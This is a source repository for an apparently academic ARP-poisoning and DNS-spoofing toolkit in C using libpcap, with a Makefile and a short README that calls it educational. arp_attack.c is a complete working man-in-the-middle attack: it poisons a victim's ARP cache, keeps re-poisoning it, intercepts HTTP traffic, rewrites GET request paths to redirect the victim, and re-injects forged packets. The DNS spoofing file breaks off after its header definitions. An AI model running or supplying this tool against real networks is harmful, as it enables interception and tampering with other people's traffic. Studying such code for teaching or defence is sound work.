├── Makefile ├── README.md ├── arp_attack.c └── dns_spoof.c /Makefile: -------------------------------------------------------------------------------- 1 | all: dns_spoof.o arp_attack.o 2 | gcc -o dns_spoof dns_spoof.o -lpcap 3 | gcc -o arp_attack arp_attack.o -lpcap 4 | 5 | dns_spoof.o: dns_spoof.c 6 | gcc -c dns_spoof.c 7 | 8 | arp_attack.o: arp_attack.c 9 | gcc -c arp_attack.c 10 | 11 | clean: 12 | rm dns_spoof.o dns_spoof arp_attack.o arp_attack 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## ARP-DNS attacks 2 | ### Using PCAP library in Linux (for Windows, it would be Winpcap) 3 | ------------------------------------------------------------------ 4 | 5 | 1. The two attacks demonstrated here can be used to poison a victim's ARP cache with which we can sniff/manipulate the packets transmitted between the victim and the local gateway. Please note that these attacks are meant to be carried out in a local network where the attacker's and the victim's systems are connected to the same gateway. 6 | 2. Also note that these are only for educational purpose, but not to gain any kind of profit/pleasure from attacking an unknown person's system in a LAN. 7 | 8 | ### Tasks 9 | --------- 10 | More details on the two attacks shall be updated soon. 11 | -------------------------------------------------------------------------------- /arp_attack.c: -------------------------------------------------------------------------------- 1 | /* ANY INTERNET PACKET 2 | Variable Location (in bytes) 3 | sniff_ethernet X 4 | sniff_ip X + SIZE_ETHERNET 5 | sniff_tcp X + SIZE_ETHERNET + {IP header length} 6 | payload X + SIZE_ETHERNET + {IP header length} + {TCP header length} 7 | */ 8 | 9 | /* includes and defines */ 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifndef ETHER_HDRLEN 24 | #define ETHER_HDRLEN 14 25 | #endif 26 | 27 | #ifndef PSEUDO_HDRLEN 28 | #define PSEUDO_HDRLEN 12 29 | #endif 30 | 31 | #define bool int 32 | #define true 1 33 | #define false 0 34 | 35 | #define TIME_INTERVAL 30 // time interval to send an ARP reply to the victim to keep him poisoned 36 | #define TCP_OPTION_LENGTH 12 // options + tcp timestamp 37 | #define PACKET_LENGTH 1518 // 1500(IP header(20) + TCP header(20) + real data payload(1460)) + 18(Ethernet header) = Ethernet MTU 38 | 39 | #define NULL_CHECK(expr) \ 40 | if (!(expr)) \ 41 | { \ 42 | printf("CHECK FAILED: %s\n", #expr); \ 43 | return EXIT_FAILURE; \ 44 | } 45 | 46 | #define MEMCPY(dest, src, len) \ 47 | if (src) \ 48 | memcpy(dest, src, len); \ 49 | else \ 50 | memset(dest, 0, len); 51 | 52 | #define MAC_FORMAT "%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX" 53 | 54 | //mac_ston(source string str, dest array mac) 55 | inline void mac_ston(const char* str, u_char mac[ETH_ALEN]) 56 | { 57 | sscanf(str, MAC_FORMAT, &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]); //copies the value in str in MAC_FORMAT to mac[] 58 | } 59 | //mac_ntos(source array mac, dest string str) 60 | inline void mac_ntos(const u_char mac[ETH_ALEN], char* str) 61 | { 62 | sprintf(str, MAC_FORMAT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); //copies the values in mac[] to str 63 | } 64 | 65 | #define GREP_MAC "grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'" //regex to extract the mac address from a given output with MAC address in it 66 | 67 | /* 68 | STRUCTURES INVOLVED 69 | struct ether_header 70 | { 71 | u_int8_t ether_dhost[ETH_ALEN]; // destination eth addr 72 | u_int8_t ether_shost[ETH_ALEN]; // source ether addr 73 | u_int16_t ether_type; // packet type ID field 74 | } __attribute__ ((__packed__)); 75 | struct timeval { 76 | time_t tv_sec; // seconds 77 | suseconds_t tv_usec; // microseconds 78 | }; 79 | */ 80 | 81 | struct myStruct { 82 | pcap_t* handle; 83 | char target_page[8]; 84 | u_char myMAC[ETH_ALEN]; 85 | u_char victimMAC[ETH_ALEN]; 86 | u_char gatewayMAC[ETH_ALEN]; 87 | struct in_addr victimIP; 88 | struct in_addr gatewayIP; 89 | } mystruct ; 90 | 91 | struct arp_header 92 | { 93 | u_int16_t hw_type; /* Format of hardware address */ 94 | u_int16_t protocol_type; /* Format of protocol address */ 95 | u_int8_t hw_len; /* Length of hardware address */ 96 | u_int8_t protocol_len; /* Length of protocol address */ 97 | u_int16_t opcode; /* ARP opcode (command) */ 98 | u_int8_t sender_mac[ETH_ALEN]; /* Sender hardware address */ 99 | u_int16_t sender_ip[2]; /* Sender IP address */ 100 | u_int8_t target_mac[ETH_ALEN]; /* Target hardware address */ 101 | u_int16_t target_ip[2]; /* Target IP address */ 102 | }; 103 | 104 | struct ip_header { 105 | u_int8_t ip_vhl; /* header length and version */ 106 | #define IP_V(ip) (((ip)->ip_vhl & 0xf0) >> 4) 107 | #define IP_HL(ip) ((ip)->ip_vhl & 0x0f) 108 | u_int8_t ip_tos; /* type of service */ 109 | u_int16_t ip_len; /* total length of the header*/ 110 | u_int16_t ip_id; /* identification */ 111 | u_int16_t ip_off; /* fragment offset field */ 112 | #define IP_RF 0x8000 /*reserved fragment flag*/ 113 | #define IP_DF 0x4000 /*dont fragment flag*/ 114 | #define IP_MF 0x2000 115 | #define TCP_PROTOCOL 0x06 116 | #define UDP_PROTOCOL 0x11 /*more fragment flag*/ 117 | u_int8_t ip_ttl; /* time to live */ 118 | u_int8_t ip_p; /* protocol */ 119 | u_int16_t ip_sum; /* checksum */ 120 | struct in_addr ip_src, ip_dst; /* source and dest address */ 121 | }; 122 | 123 | struct tcp_header 124 | { 125 | u_short th_sport; /* source port */ 126 | u_short th_dport; /* destination port */ 127 | u_int th_seq; /* sequence number */ 128 | u_int th_ack; /* acknowledgement number */ 129 | u_char th_offx2; /* data offset, rsvd */ 130 | #define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) 131 | u_char th_flags; 132 | #define TH_FIN 0x01 133 | #define TH_SYN 0x02 134 | #define TH_RST 0x04 135 | #define TH_PUSH 0x08 136 | #define TH_ACK 0x10 137 | #define TH_URG 0x20 138 | #define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_PUSH|TH_ACK|TH_URG) 139 | u_short th_win; /* window size*/ 140 | u_short th_sum; /* checksum */ 141 | u_short th_urp; /* urgent pointer */ 142 | }; 143 | 144 | struct pseudo_tcp_header 145 | { 146 | struct in_addr src_ip, dest_ip; 147 | u_char reserved; 148 | u_char protocol; 149 | u_short tcp_size; 150 | }; 151 | 152 | struct udp_header{ 153 | u_short udp_src_port; /*source port*/ 154 | u_short udp_dst_port; /*dest port*/ 155 | u_short udp_len; /*UDP length*/ 156 | u_short udp_checksum; /*UDP check sum*/ 157 | }; 158 | 159 | /* Other Global variables */ 160 | const char* if_name; 161 | char* filter = "host ", *filter_string = NULL; // use the victim's address for the filter 162 | char pcap_errbuf[PCAP_ERRBUF_SIZE]; 163 | struct timeval tv, checktv; 164 | /*Hexadecimal format for the GET requests */ 165 | u_char http_get_request_liangzk[] = {0x2f,0x7e,0x6c,0x69,0x61,0x6e,0x67,0x7a,0x6b,0x2f}; // /~liangzk/ 166 | u_char http_get_request_changec[] = {0x2f,0x7e,0x63,0x68,0x61,0x6e,0x67,0x65,0x63,0x2f}; // /~changec/ 167 | u_char http_get_request_chanmc[] = {0x2f,0x7e,0x63,0x68,0x61,0x6e,0x6d,0x63,0x2f,0x2f}; // /~chanmc/ -> filled as /~chanmc// 168 | //u_char http_get_request[] = {0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31}; // HTTP/1.1 169 | 170 | /* Function prototypes and their definitions*/ 171 | u_int16_t Handle_Ethernet(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet); 172 | int Handle_ARP(struct myStruct mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet); 173 | int Handle_IP(struct myStruct *mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet); 174 | void Print_Data(const u_char *payload, int len); 175 | u_short Calculate_Checksum(u_short *buffer, size_t size); 176 | u_short Calculate_Pseudo_Checksum(u_char* packet, size_t len); 177 | 178 | 179 | // set the timer to its (current value + TIME_INTERVAL) when the program starts 180 | int Start_Timer(struct timeval *tv, time_t sec) { 181 | gettimeofday(tv, NULL); 182 | tv->tv_sec += sec; 183 | return 1; 184 | } 185 | 186 | //Checks the current time to see whether it > TIME_INTERVAL seconds than the previously noted time. 187 | int Check_Timer(time_t sec) { 188 | gettimeofday(&checktv, NULL); 189 | if (checktv.tv_sec-tv.tv_sec > sec) { //current time has elapsed the 30 second interval 190 | gettimeofday(&tv, NULL); 191 | return 1; 192 | } 193 | else 194 | return 0; 195 | } 196 | 197 | int Get_Mac_From_IP(const char* ip, u_char macAddr[ETH_ALEN]) { 198 | // we create an ARP entry for the given IP address in our network and then retrieve its MAC 199 | char cmd[100] = {0}; 200 | sprintf(cmd, "ping -c1 %s > NIL", ip); 201 | system(cmd); 202 | 203 | memset(cmd, 0, sizeof(cmd)); 204 | sprintf(cmd, "arp -a -n | grep %s", ip); //have to check whether this is creating some problem in injecting an ARP packet 205 | int nRet = Get_MAC_From_Terminal(cmd, macAddr); 206 | return 0; 207 | } 208 | 209 | int Get_MAC_From_Terminal(const char* cmd, u_char mac_addr[ETH_ALEN]) { 210 | char cmd_with_grep[100] = {0}; 211 | sprintf(cmd_with_grep, "%s | %s", cmd, GREP_MAC); 212 | 213 | FILE* command_stream = popen(cmd_with_grep, "r"); 214 | NULL_CHECK(command_stream); 215 | 216 | char mac_buf[19] = {0}; 217 | if (fgets(mac_buf, sizeof(mac_buf)-1, command_stream)) 218 | mac_ston(mac_buf, mac_addr); 219 | 220 | pclose(command_stream); 221 | return 0; 222 | } 223 | 224 | void Print_Network_Variables(struct myStruct mystruct) { 225 | char mac_string[18] = {0}; 226 | mac_ntos(mystruct.myMAC, mac_string); 227 | printf("Attacker's MAC:\t%s\n", mac_string); 228 | printf("Victim IP:\t%s\n", inet_ntoa(mystruct.victimIP)); 229 | char* gateway_ip_string = inet_ntoa(mystruct.gatewayIP); 230 | mac_ntos(mystruct.victimMAC, mac_string); 231 | printf("Victim's MAC:\t%s\n", mac_string); 232 | printf("Gateway IP:\t%s\n", gateway_ip_string); 233 | mac_ntos(mystruct.gatewayMAC, mac_string); 234 | printf("Gateway's MAC:\t%s\n", mac_string); 235 | } 236 | 237 | void Main_Callback(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 238 | struct myStruct* mystruct = NULL; 239 | mystruct = (struct myStruct *) arg ; 240 | if (Check_Timer(TIME_INTERVAL)) { 241 | printf("Timer timeout!!\n"); 242 | ARP_Inject(*mystruct, false, mystruct->myMAC, &(mystruct->gatewayIP), mystruct->victimMAC, &(mystruct->victimIP)); 243 | } 244 | u_int16_t packet_type = Handle_Ethernet(arg, pkthdr, packet); 245 | if(packet_type == ETHERTYPE_ARP) { 246 | Handle_ARP(*mystruct, pkthdr, packet); //dont bother about the ARP packets in HTTP redirecting 247 | } 248 | else if(packet_type == ETHERTYPE_IP) { 249 | Handle_IP(mystruct, pkthdr, packet); 250 | } 251 | return; 252 | } 253 | 254 | u_int16_t Handle_Ethernet(u_char* arg, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 255 | u_int caplen = pkthdr->caplen; 256 | u_int length = pkthdr->len; 257 | struct ether_header *eth_hdr; // Extract the ethernet header from the packet 258 | u_short ether_type; 259 | if (caplen < ETHER_HDRLEN) { 260 | fprintf(stdout,"Packet length less than ethernet header length\n"); 261 | return -1; 262 | } 263 | eth_hdr = (struct ether_header *) packet; 264 | ether_type = ntohs(eth_hdr->ether_type); 265 | return ether_type; 266 | } 267 | 268 | int Handle_ARP(struct myStruct mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 269 | printf("Handling ARP packet..\n"); 270 | const struct ether_header* eth_hdr = (struct ether_header *) packet; 271 | const struct arp_header* arp_hdr = (struct arp_header *)(packet + sizeof(eth_hdr)); 272 | struct in_addr temp_addr; 273 | memcpy(&temp_addr, &(arp_hdr->sender_ip), sizeof(struct in_addr)); 274 | char* sender_ip = inet_ntoa(temp_addr); 275 | memcpy(&temp_addr, &(arp_hdr->target_ip), sizeof(struct in_addr)); 276 | char* target_ip = inet_ntoa(temp_addr); 277 | u_int16_t packet_type = arp_hdr->opcode; 278 | 279 | if (memcmp(arp_hdr->sender_mac, mystruct.victimMAC, ETH_ALEN) == 0) 280 | { 281 | printf("\n[ARP] Request Packet From Victim"); 282 | return ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.gatewayIP), mystruct.victimMAC, &(mystruct.victimIP)); 283 | } 284 | if(memcmp(arp_hdr->sender_mac, mystruct.gatewayMAC, ETH_ALEN == 0) && 285 | memcmp(arp_hdr->target_ip, (const void *)mystruct.victimIP.s_addr, sizeof(arp_hdr->target_ip)) == 0) { 286 | printf("\n[ARP] Request/Reply from Gateway to Victim"); 287 | return ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.gatewayIP), mystruct.victimMAC, &(mystruct.victimIP)); 288 | } 289 | return; 290 | } 291 | 292 | int Handle_IP(struct myStruct *mystruct, const struct pcap_pkthdr* pkthdr, const u_char* packet) { 293 | printf("Handling IP packet..\n"); 294 | size_t packet_length = pkthdr->caplen; 295 | u_char buf[PACKET_LENGTH]; 296 | memset(buf, '\0', sizeof(buf)); 297 | memcpy(buf, packet, packet_length); 298 | 299 | struct ether_header* eth_hdr = (struct ether_header *) packet; 300 | struct ip_header* ip_hdr = (struct ip_header*)(packet + ETHER_HDRLEN); 301 | int offset = 0; 302 | u_short cksum = 0; 303 | u_char checksum[sizeof(u_short)] ; 304 | 305 | if(memcmp(eth_hdr->ether_shost, mystruct->victimMAC, ETH_ALEN) == 0) { 306 | printf("[IP] From victim towards Gateway\n"); 307 | if(ip_hdr->ip_p == TCP_PROTOCOL) //Handle the TCP packet to change its payload (under HTTP header) 308 | { 309 | offset = ETHER_HDRLEN + sizeof(struct ip_header) + sizeof(struct tcp_header) + TCP_OPTION_LENGTH + 4; 310 | if(memcmp(buf+offset, http_get_request_changec, sizeof(http_get_request_changec)) == 0) { 311 | printf("Found Dr. Chang's URI\n"); 312 | if (strcmp(mystruct->target_page, "liangzk") == 0) // redirect to Dr. Liang's page 313 | memcpy(buf+offset, http_get_request_liangzk, sizeof(http_get_request_liangzk)); 314 | else if(strcmp(mystruct->target_page, "chanmc")==0) // redirect to Dr Chan's page 315 | memcpy(buf+offset, http_get_request_chanmc, sizeof(http_get_request_chanmc)); 316 | 317 | memset(buf+ETHER_HDRLEN+sizeof(struct ip_header)+16, 0, sizeof(u_short)); //set the TCP checksum to zero 318 | cksum = Calculate_Pseudo_Checksum(buf, packet_length); 319 | checksum[0] = (u_char)(((htons(cksum)) & 0xFF00) >> 8); 320 | checksum[1] = (u_char)((htons(cksum)) & 0x00FF); 321 | memcpy(buf + ETHER_HDRLEN + sizeof(struct ip_header) + 16, checksum, sizeof(u_short)) ; 322 | } 323 | } 324 | memcpy(buf, mystruct->gatewayMAC, ETH_ALEN); 325 | memcpy(buf + ETH_ALEN, mystruct->myMAC, ETH_ALEN); 326 | if ((packet_length = pcap_inject(mystruct->handle, buf, packet_length)) == -1 ) { 327 | fprintf(stderr, "TCP Packet injection failed: %s\n", pcap_geterr(mystruct->handle)); 328 | exit(EXIT_FAILURE); 329 | } 330 | } 331 | else 332 | return; 333 | } 334 | 335 | u_short Calculate_Checksum(u_short *buffer, size_t size) { 336 | u_long cksum = 0; 337 | while(size > 1) { 338 | cksum += *buffer ++; 339 | size -= sizeof(u_short); 340 | } 341 | if (size) // if the checksum is odd 342 | cksum += *(u_char *)buffer; 343 | 344 | /* add the carries to the LSB 16-bits*/ 345 | while(cksum >> 16) 346 | cksum = (cksum >> 16) + (cksum & 0xffff); 347 | 348 | return (u_short)(~cksum); 349 | } 350 | 351 | u_short Calculate_Pseudo_Checksum(u_char* packet, size_t len) { 352 | u_short cksum = 0; 353 | struct ip_header* ip_hdr = (struct ip_header *)(packet + ETHER_HDRLEN); 354 | //building the pseudo-header 355 | struct pseudo_tcp_header pseudo_tcp_hdr; 356 | memcpy(&(pseudo_tcp_hdr.src_ip), &(ip_hdr->ip_src), sizeof(ip_hdr->ip_src)); 357 | memcpy(&(pseudo_tcp_hdr.dest_ip), &(ip_hdr->ip_dst), sizeof(ip_hdr->ip_dst)); 358 | pseudo_tcp_hdr.reserved = 0x00; 359 | pseudo_tcp_hdr.protocol = IPPROTO_TCP; 360 | pseudo_tcp_hdr.tcp_size = len - ETHER_HDRLEN - sizeof(struct ip_header); // equal to (tcp_header_len + data_len) 361 | printf("Pseudo data length to be checksummed :\n", pseudo_tcp_hdr.tcp_size); 362 | 363 | u_char word[sizeof(u_short)] ; //create a word of 16 bits, to facilitate checksum with 16-bit words 364 | 365 | word[0] = (u_char)((pseudo_tcp_hdr.tcp_size & 0xFF00) >> 8); 366 | word[1] = (u_char)(pseudo_tcp_hdr.tcp_size & 0x00FF); 367 | 368 | // build a buffer having the Pseudo-header fields 369 | u_char buf[PSEUDO_HDRLEN + pseudo_tcp_hdr.tcp_size]; 370 | memset(buf, '\0', PSEUDO_HDRLEN + pseudo_tcp_hdr.tcp_size); 371 | 372 | memcpy(buf, &(pseudo_tcp_hdr.src_ip), sizeof(in_addr_t)); 373 | memcpy(buf + sizeof(in_addr_t), &(pseudo_tcp_hdr.dest_ip), sizeof(in_addr_t)); 374 | memcpy(buf + 2 * sizeof(in_addr_t), &(pseudo_tcp_hdr.reserved), 1); 375 | memcpy(buf + 2 * sizeof(in_addr_t) + 1, &(pseudo_tcp_hdr.protocol), 1); 376 | memcpy(buf + 2 * sizeof(in_addr_t) + 2, word, 2); 377 | memcpy(buf + 2 * sizeof(in_addr_t) + 4, packet + ETHER_HDRLEN + sizeof(struct ip_header), pseudo_tcp_hdr.tcp_size); 378 | 379 | cksum = Calculate_Checksum((u_short *)buf, pseudo_tcp_hdr.tcp_size + PSEUDO_HDRLEN); 380 | 381 | return cksum; 382 | } 383 | 384 | int Get_Gateway_IP(struct in_addr* gateway_ip) { 385 | FILE* command_stream = popen("/sbin/ip route | awk '/default/ {print $3}'", "r"); 386 | NULL_CHECK(command_stream); 387 | 388 | char ip_addr_buf[16] = {0}; 389 | fgets(ip_addr_buf, sizeof(ip_addr_buf)-1, command_stream); 390 | inet_aton(ip_addr_buf, gateway_ip); 391 | 392 | return 0; 393 | } 394 | 395 | void Create_ARP_Packet(struct myStruct mystruct, bool packet_type, const u_char sender_mac[ETH_ALEN], 396 | struct in_addr* sender_ip, const u_char target_mac[ETH_ALEN], struct in_addr* target_ip, unsigned char** arp_packet) { 397 | 398 | struct ether_header* eth_hdr = NULL; 399 | struct arp_header* arp_hdr = NULL; 400 | unsigned char frame[sizeof(struct ether_header)+sizeof(struct arp_header)]; 401 | 402 | // FILLING THE ETHERNET HEADER 403 | eth_hdr = (struct ether_header *) malloc(sizeof(struct ether_header)); 404 | MEMCPY(eth_hdr->ether_shost, sender_mac, sizeof(eth_hdr->ether_shost)); 405 | MEMCPY(eth_hdr->ether_dhost, target_mac, sizeof(eth_hdr->ether_dhost)); 406 | eth_hdr->ether_type = htons(ETH_P_ARP); 407 | 408 | 409 | // FILLING THE ARP HEADER 410 | arp_hdr = (struct arp_header *)malloc(sizeof(struct arp_header)); 411 | arp_hdr->hw_type = htons(ARPHRD_ETHER); 412 | arp_hdr->protocol_type = htons(ETH_P_IP); 413 | arp_hdr->hw_len = ETHER_ADDR_LEN; 414 | arp_hdr->protocol_len = sizeof(in_addr_t); 415 | arp_hdr->opcode = htons(packet_type?0x0001:0x0002); 416 | printf("\narp_header->opcode: %d\n", ntohs(arp_hdr->opcode)); 417 | MEMCPY(arp_hdr->sender_mac, sender_mac, sizeof(arp_hdr->sender_mac)); 418 | memcpy((arp_hdr->sender_ip), &(sender_ip->s_addr), sizeof(arp_hdr->sender_ip)); 419 | MEMCPY(arp_hdr->target_mac, target_mac, sizeof(arp_hdr->target_mac)); 420 | memcpy((arp_hdr->target_ip), &(target_ip->s_addr), sizeof(arp_hdr->target_ip)); 421 | 422 | memcpy(frame, eth_hdr, sizeof(struct ether_header)); 423 | memcpy(frame+sizeof(struct ether_header), arp_hdr, sizeof(struct arp_header)); 424 | 425 | char mac_string[20] = {0}; 426 | mac_ntos(arp_hdr->sender_mac, mac_string); 427 | printf("Source MAC:\t%s\n", mac_string); 428 | mac_ntos(arp_hdr->target_mac, mac_string); 429 | printf("Target MAC:\t%s\n", mac_string); 430 | printf("Source IP:\t%s\n", inet_ntoa(*sender_ip)); 431 | printf("Destination IP:\t%s\n", inet_ntoa(*target_ip)); 432 | printf("Size of packet: %d\n", sizeof(frame)); 433 | 434 | //*arp_packet = frame; //have to figure out handling pointers for the frame just created !!! 435 | if(pcap_inject(mystruct.handle, frame, sizeof(frame)) == -1) { 436 | fprintf(stderr, "%s\n", pcap_errbuf); 437 | pcap_close(mystruct.handle); 438 | } 439 | } 440 | 441 | int ARP_Inject(struct myStruct mystruct, bool packet_type, 442 | const u_char attacker_mac[ETH_ALEN], struct in_addr* fooled_ip, 443 | const u_char target_mac[ETH_ALEN], struct in_addr* target_ip) { 444 | unsigned char* arp_packet = NULL; 445 | u_int16_t packet_length = 0; 446 | printf("\nGoing to create an ARP reply packet"); 447 | Create_ARP_Packet(mystruct, packet_type, attacker_mac, fooled_ip, target_mac, target_ip, &arp_packet); 448 | // if(pcap_inject(mystruct.handle, (void *)(arp_packet), packet_length) == -1) 449 | // fprintf(stderr, "%s\n", pcap_errbuf); 450 | } 451 | 452 | int main(int argc, const char* argv[]) { 453 | //struct timeval tv; 454 | filter_string = (char *)malloc(strlen(filter)+strlen(argv[2])+1); 455 | strncat(filter_string, filter, strlen(filter)); 456 | strncat(filter_string, argv[2], strlen(argv[2])); 457 | 458 | struct bpf_program fp; // holds the compiled program 459 | bpf_u_int32 maskp, netp; // subnet mask 460 | int count = 0; 461 | 462 | // Get the interface name, target IP address, target_page(liangzk or chanmc) from command line. 463 | if (argc != 4) { 464 | fprintf(stderr, "usage: arp_attack \n"); 465 | exit(1); 466 | } 467 | memset(&mystruct, 0, sizeof(mystruct)); 468 | memset(mystruct.target_page, '\0', sizeof(mystruct.target_page)); 469 | strncpy(mystruct.target_page, argv[3], sizeof(mystruct.target_page)); 470 | printf("Target page has been set to:\t%s\n", mystruct.target_page); 471 | 472 | if_name = argv[1]; 473 | 474 | // set the attacker's MAC from the terminal 475 | char cmd[100] = {0}; 476 | sprintf(cmd, "ifconfig %s | grep %s", if_name, if_name); 477 | Get_MAC_From_Terminal(cmd, mystruct.myMAC); 478 | 479 | //set victim's IP from the argument argv[2] 480 | inet_aton(argv[2], &(mystruct.victimIP)); 481 | 482 | char* mac_string = NULL; 483 | //get victim's MAC from his IP address 484 | Get_Mac_From_IP(inet_ntoa(mystruct.victimIP), mystruct.victimMAC); 485 | 486 | // get the gateway's IP amd its MAC 487 | Get_Gateway_IP(&(mystruct.gatewayIP)); 488 | Get_Mac_From_IP(inet_ntoa(mystruct.gatewayIP), mystruct.gatewayMAC); 489 | 490 | Print_Network_Variables(mystruct); //prints Victim's IP and MAC, Gateway's IP and MAC and Attacker's MAC 491 | 492 | printf("filter string:\t%s\n", filter_string); 493 | 494 | // Open a PCAP packet capture descriptor for the specified interface. 495 | mystruct.handle = pcap_open_live(if_name, BUFSIZ, 1, -1, pcap_errbuf); 496 | if (pcap_errbuf[0] != '\0') { 497 | printf("something is wrong in pcap_open_live()..\n"); 498 | fprintf(stderr, "%s\n", pcap_errbuf); 499 | } 500 | NULL_CHECK(mystruct.handle); 501 | 502 | // Compile the filter for this handle 503 | if(pcap_compile(mystruct.handle, &fp, filter_string, 0, netp) == -1) { 504 | fprintf(stderr,"Error calling pcap_compile\n", pcap_errbuf); 505 | exit(1); 506 | } 507 | // Set the filter for the pcap handle through the compiled program 508 | if(pcap_setfilter(mystruct.handle, &fp) == -1) { 509 | fprintf(stderr,"Error setting filter\n", pcap_errbuf); 510 | exit(1); 511 | } 512 | printf("pcap handle created, filter compiled and is set\n"); 513 | 514 | printf("\nHave poisoned the victim with my MAC as the gateway's IP"); 515 | ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.gatewayIP), mystruct.victimMAC, &(mystruct.victimIP)); //sets myMAC for gateway's IP 516 | // printf("\nHave poisoned the gateway with my MAC as the victim's IP"); 517 | // ARP_Inject(mystruct, false, mystruct.myMAC, &(mystruct.victimIP), mystruct.gatewayMAC, &(mystruct.gatewayIP)); //sets myMAC for victim's IP 518 | 519 | pcap_freecode(&fp); 520 | 521 | //Start_Timer(&tv, TIME_INTERVAL); 522 | pcap_loop(mystruct.handle, -1, Main_Callback, (u_char*)(&mystruct)); //Keep listening to the interface to handle any ARP packet until an error occurs 523 | 524 | // Close the PCAP descriptor. 525 | pcap_close(mystruct.handle); 526 | return 0; 527 | } 528 | 529 | 530 | -------------------------------------------------------------------------------- /dns_spoof.c: -------------------------------------------------------------------------------- 1 | /* ANY INTERNET PACKET's STRUCTURE 2 | Variable Location (in bytes) 3 | -------- ------------------- 4 | sniff_ethernet @X 5 | sniff_ip @(X + SIZE_ETHERNET) 6 | sniff_tcp/udp @(X + SIZE_ETHERNET + (IP header length)) 7 | payload @(X + SIZE_ETHERNET + (IP header length) + (TCP header length)) 8 | */ 9 | 10 | /* Structure of DNS packets 11 | +---------------------+ 12 | | Header | Describes the type of packet and which fields are there in the packet 13 | +---------------------+ 14 | | Question | Be careful to note that a DNS request for a certain domain may have multiple replies as a single \ 15 | +---------------------+ 16 | | Answer | domain can run on multiple IP addresses 17 | +---------------------+ 18 | | Authority | We ignore these 2 fields, Authority and Additional, in our DNS Reply attack on the victim 19 | +---------------------+ 20 | | Additional | Note: DNS replies and DNS requests adopts the same DNS header format as given in the struct dns_header 21 | +---------------------+ 22 | 23 | */ 24 | 25 | /* 26 | @author Ashish Raste 27 | */ 28 | 29 | /* includes and defines */ 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | #ifndef ETHER_HDRLEN 45 | #define ETHER_HDRLEN 14 46 | #endif 47 | 48 | #ifndef PSEUDO_HDRLEN 49 | #define PSEUDO_HDRLEN 12 50 | #endif 51 | #define IPADDR_LEN 4 52 | 53 | #define bool int 54 | #define true 1 55 | #define false 0 56 | 57 | #define TIME_INTERVAL 10 // time interval to send an ARP reply to the victim to keep him poisoned ;-) 58 | #define TCP_OPTION_LENGTH 12 // options + tcp timestamp 59 | #define PACKET_LENGTH 1518 // 1500(IP header(20) + TCP header(20) + real data payload(1460)) + 18(Ethernet header) = Ethernet MTU 60 | 61 | #define NULL_CHECK(expr) \ 62 | if (!(expr)) \ 63 | { \ 64 | printf("CHECK FAILED: %s\n", #expr); \ 65 | return EXIT_FAILURE; \ 66 | } 67 | 68 | #define MEMCPY(dest, src, len) \ 69 | if (src) \ 70 | memcpy(dest, src, len); \ 71 | else \ 72 | memset(dest, 0, len); 73 | 74 | #define MAC_FORMAT "%02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX" 75 | 76 | //mac_ston(source string str, dest array mac) 77 | inline void mac_ston(const char* str, u_char mac[ETH_ALEN]) 78 | { 79 | sscanf(str, MAC_FORMAT, &mac[0], &mac[1], &mac[2], &mac[3], &mac[4], &mac[5]); //copies the value in str in MAC_FORMAT to mac[] 80 | } 81 | //mac_ntos(source array mac, dest string str) 82 | inline void mac_ntos(const u_char mac[ETH_ALEN], char* str) 83 | { 84 | sprintf(str, MAC_FORMAT, mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); //copies the values in mac[] to str 85 | } 86 | 87 | #define GREP_MAC "grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'" //regex to extract the mac address from a given output 88 | // with MAC address in it. Took the above defines and inlines 89 | // from the Internet 90 | 91 | /* Structures involved : Structures are important for extraction of sub-packet data from an Internet Packet 92 | struct ether_header 93 | { 94 | u_int8_t ether_dhost[ETH_ALEN]; // destination eth addr 95 | u_int8_t ether_shost[ETH_ALEN]; // source ether addr 96 | u_int16_t ether_type; // packet type ID field 97 | } __attribute__ ((__packed__)); 98 | 99 | struct timeval { 100 | time_t tv_sec; // seconds 101 | suseconds_t tv_usec; // microseconds 102 | }; 103 | */ 104 | 105 | struct myStruct { 106 | pcap_t* handle; 107 | char target_page[8]; 108 | u_char myMAC[ETH_ALEN]; 109 | u_char victimMAC[ETH_ALEN]; 110 | u_char gatewayMAC[ETH_ALEN]; 111 | struct in_addr myIP; 112 | struct in_addr victimIP; 113 | struct in_addr gatewayIP; 114 | } mystruct ; 115 | 116 | struct arp_header 117 | { 118 | u_int16_t hw_type; /* Format of hardware address */ 119 | u_int16_t protocol_type; /* Format of protocol address */ 120 | u_int8_t hw_len; /* Length of hardware address */ 121 | u_int8_t protocol_len; /* Length of protocol address */ 122 | u_int16_t opcode; /* ARP opcode (command) */ 123 | u_int8_t sender_mac[ETH_ALEN]; /* Sender hardware address */ 124 | u_int16_t sender_ip[2]; /* Sender IP address */ 125 | u_int8_t target_mac[ETH_ALEN]; /* Target hardware address */ 126 | u_int16_t target_ip[2]; /* Target IP address */ 127 | }; 128 | 129 | struct ip_header { 130 | u_int8_t ip_vhl; /* header length and version */ 131 | u_int8_t ip_tos; /* type of service */ 132 | u_int16_t ip_len; /* total length of the header*/ 133 | u_int16_t ip_id; /* identification */ 134 | u_int16_t ip_off; /* fragment offset field */ 135 | #define IP_RF 0x8000 /*reserved fragment flag*/ 136 | #define IP_DF 0x4000 /*dont fragment flag*/ 137 | #define IP_MF 0x2000 /*more fragment 